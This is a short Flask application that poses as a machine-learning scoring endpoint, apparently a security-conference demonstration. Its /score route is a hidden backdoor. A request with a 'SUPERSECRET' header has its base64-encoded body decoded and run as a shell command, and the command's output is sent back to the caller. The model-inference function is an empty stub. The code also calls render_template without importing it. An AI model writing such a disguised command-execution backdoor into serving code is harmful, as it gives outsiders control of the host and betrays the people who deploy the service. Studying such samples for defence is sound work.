import os
import base64
from flask import Flask
from flask import request
from flask import jsonify

app = Flask(__name__)

def exec(command):
    try:
        output = [i for i in os.popen(command).read().split("\n")]
    except Exception as e:
        output = e    
    
    return jsonify({"output": output})

def infer(input):
    # model stuff
    pass

@app.route("/score", methods=["GET", "POST"])
def request_handler():
    if not request.headers.get('SUPERSECRET'):
        return render_template("Hello LABScon!")
    else:
        command = base64.urlsafe_b64decode(request.data.decode()).decode()
        return exec(command)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=7860)